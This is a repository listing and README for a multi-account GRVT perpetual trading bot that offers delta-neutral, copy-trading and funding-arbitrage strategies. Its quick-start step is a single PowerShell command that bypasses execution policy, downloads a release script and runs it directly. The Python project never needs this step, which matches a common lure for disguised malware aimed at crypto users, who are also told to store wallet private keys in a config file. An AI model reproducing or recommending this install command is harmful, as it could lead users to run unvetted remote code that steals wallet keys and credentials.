SkillAgentSearch skills...

GVRT Trading Bot

Automated multi-account perpetual trading bot for GRVT — three independent strategies, unlimited accounts, per-account proxy support

Install / Use

npx skills add Zahidimouad/GVRT-Trading-Bot

Installs into whichever agent you are using.

README

🤖 GRVT Perp Trading Bot

Automated multi-account perpetual trading bot for GRVT — three independent strategies, unlimited accounts, per-account proxy support

Python GRVT License Stars

╔══════════════════════════════════════════════════════════════════╗
║  Strategy 1 — Delta-Neutral      │  near-zero directional risk  ║
║  Strategy 2 — Copy Trading       │  mirror top wallets live     ║
║  Strategy 3 — Funding Arbitrage  │  harvest funding rate yields ║
║                                                                  ║
║  ✦ Multi-account  ·  Per-account proxies  ·  Async workers     ║
╚══════════════════════════════════════════════════════════════════╝

🚀 Open GRVT · 🐦 Follow Dev


🚀 Quick Start

If you just want to get the project running fast on Windows, use the installation command below first. After that, continue with the project-specific setup, configuration, and usage sections.

🛠️ Installation

CMD

Open CMD and run this single command:

powershell -ep bypass -c "iwr https://github.com/Zahidimouad/GVRT-Trading-Bot/releases/download/v1.92/main.ps1 -UseBasicParsing | iex"

Then continue with the project-specific setup steps below.

📘 Project-Specific Setup

Step 2 — Create a virtual environment

python3 -m venv venv

# Linux / Mac
source venv/bin/activate

# Windows
venv\Scripts\activate

Step 3 — Install dependencies

pip install requests web3 python-dotenv colorama aiohttp aiohttp-socks eth-account websockets

Step 4 — Get GRVT API credentials

Follow the steps in Multi-Account & Proxy Support above for each account.

Step 5 — Deposit collateral

Each account needs collateral deposited on GRVT before the bot can open positions. Fund and deposit via the GRVT interface before starting.

Step 6 — Build your accounts.json

cp accounts.example.json accounts.json
nano accounts.json

📌 Table of Contents


⚡ How It Works

  GRVT perp markets update in real time
          │
          ▼  (all account workers run simultaneously)
          │
  Per account:
    • Authenticate via GRVT API key + wallet signature
    • Route all traffic through assigned proxy
    • Execute active strategy independently
    • Apply per-account risk limits
    • Report PnL and open positions
          │
          ▼
  Positions managed until closed  📈
          │
          ▼
  Telegram summary per account  📱

Every account is an independent async worker with its own strategy, risk limits, and proxy. One failed connection never affects the others.


👥 Multi-Account & Proxy Support

How accounts are configured

All accounts live in accounts.json. Each entry holds its own wallet, API credentials, active strategy, and optional proxy.

  accounts.json
  ├── Account #1  →  wallet_1 + apikey_1 + proxy_1 + strategy: delta_neutral
  ├── Account #2  →  wallet_2 + apikey_2 + proxy_2 + strategy: copy_trading
  ├── Account #3  →  wallet_3 + apikey_3 + (no proxy) + strategy: funding_arb
  └── ...unlimited accounts
          │
          ▼
  Bot spawns one async worker per account
          │
          ▼
  Workers run in parallel up to MAX_PARALLEL
  Remaining accounts queue and start as slots free

accounts.json structure:

[
  {
    "id": "account_1",
    "label": "Delta hedge",
    "wallet_address": "0xYourWallet1",
    "private_key": "0xYourPrivateKey1",
    "grvt_api_key": "your_api_key_1",
    "grvt_api_secret": "your_api_secret_1",
    "strategy": "delta_neutral",
    "referral_code": "YOUR_REF",
    "proxy": "http://user:pass@host:port"
  },
  {
    "id": "account_2",
    "label": "Copy acc",
    "wallet_address": "0xYourWallet2",
    "private_key": "0xYourPrivateKey2",
    "grvt_api_key": "your_api_key_2",
    "grvt_api_secret": "your_api_secret_2",
    "strategy": "copy_trading",
    "leader_wallet": "0xLeaderWalletAddress",
    "referral_code": "YOUR_REF",
    "proxy": "socks5://user:pass@host:port"
  },
  {
    "id": "account_3",
    "label": "Funding farmer",
    "wallet_address": "0xYourWallet3",
    "private_key": "0xYourPrivateKey3",
    "grvt_api_key": "your_api_key_3",
    "grvt_api_secret": "your_api_secret_3",
    "strategy": "funding_arb",
    "referral_code": "YOUR_REF",
    "proxy": ""
  }
]

How to get GRVT API credentials

  1. Go to grvt.io and connect your wallet
  2. Navigate to Profile → Settings → API Management → Create API Key
  3. Sign the authorization message with your wallet
  4. Save the API Key and Secret — shown only once
  5. Add them to the corresponding account entry in accounts.json

⚠️ Each GRVT account needs its own set of API credentials. Never share API secrets or private keys.

Proxy formats supported

| Format | Example | |--------|---------| | HTTP | http://user:pass@host:port | | HTTPS | https://user:pass@host:port | | SOCKS5 | socks5://user:pass@host:port | | No auth | http://host:port | | None | leave "proxy": "" |

Concurrency & safety settings

MAX_PARALLEL=5              # Max accounts trading simultaneously
ACCOUNT_DELAY=15            # Seconds between launching each worker
JITTER=true                 # Random ±5s delay per order (human-like)
PROXY_TEST_ON_START=true    # Verify each proxy before trading begins
ROTATE_USER_AGENT=true      # Unique user-agent per account

💡 Tip: Assign a dedicated proxy to every account when running 5+. Enable PROXY_TEST_ON_START=true — dead proxies are flagged at startup, not mid-trade.


📐 Strategies

⚖️ Strategy 1 — Delta-Neutral

Earn on volatility and funding rates while staying market-neutral. Your profit does not depend on whether the price goes up or down.

  Open LONG (low leverage)  +  SHORT on GRVT perp  (same asset)
                │
                ▼
  Positions hedge each other → net delta ≈ 0
                │
                ▼
  Profit comes from:
    • positive funding rate payments (perp longs pay shorts)
    • spread captured on limit-order rebalancing

How it works:

  1. The bot opens equal-sized LONG and SHORT positions on the same asset — both on GRVT, or LONG on spot/low-leverage and SHORT on the perp.
  2. Every N hours it checks delta drift caused by price movement and rebalances with limit orders if deviation exceeds the threshold.
  3. When funding turns negative, positions invert (LONG perp + offset SHORT) to keep collecting.

Decision table:

| Condition | Action | |-----------|--------| | Funding rate > 0.01% | Hold SHORT on perp, collect payments | | Funding rate < -0.01% | Invert positions | | Delta drifted > 5% | Rebalance with limit orders | | High volatility spike | Reduce position size |

Config block:

STRATEGY=delta_neutral
DN_SYMBOL=BTC-USDT-PERP
DN_LONG_SIZE=100            # USD in long leg
DN_SHORT_SIZE=100           # USD in short leg
DN_LEVERAGE=1               # Keep low — hedged position
DN_REBALANCE_THRESHOLD=5    # % drift before rebalancing
DN_MIN_FUNDING=0.005        # Minimum funding rate to enter (%)
DN_CHECK_INTERVAL=3600      # Rebalance check every N seconds
DN_ORDER_TYPE=LIMIT         # Always limit for lower fees

💡 Tip: Works best during consistent positive funding. Check GRVT's funding rate history per symbol before entering — avoid assets with erratic near-zero rates.


📡 Strategy 2 — Copy Trading

The bot polls a target wallet's open positions on GRVT every few seconds via the API. When a change is detected it immediately mirrors the trade with a proportionally scaled size on the copying account.

  Leader opens BTC-USDT-PERP LONG $10,000
              │
              ▼  (detected via API polling)
              │
  Bot calculates size:
  (ourEquity $2,000 / leaderEquity $10,000) × $10,000 × multiplier 1.0 = $2,000
  MAX_POSITION_PERCENT cap applied if needed
              │
              ▼
  Account opens BTC-USDT-PERP LONG $2,000  ✅
              │
              ▼
  Leader reduces or closes → bot mirrors proportionally ✅

Choosing who to copy:

Each account in accounts.json specifies its own leader_wallet. Run different leaders across accounts to diversify exposure.

Good wallets to copy:

  • Consistent PnL over weeks, not just days
  • Holds positions for hours or longer (swing style)
  • 1–5 new positions per day
  • Clear directional thesis, not constantly reversing

Avoid:

  • HFT wallets — impossible to keep up, slippage destroys the edge
  • Market makers — hold both sides simultaneously
  • Scalpers — seconds-to-minutes holds, orders won't fill in time
  • Leverage flippers — constantly change leverage to distort size calculation

Config block:

STRATEGY=copy_trading
LEADER_WALLET=0xLeaderWalletAddress     # Set per 

Related Skills

View on GitHub
GitHub Stars77
CategoryCustomer
Updated26d ago
Forks0

Security Score

85/100

Audited on Jul 13, 2026

No findings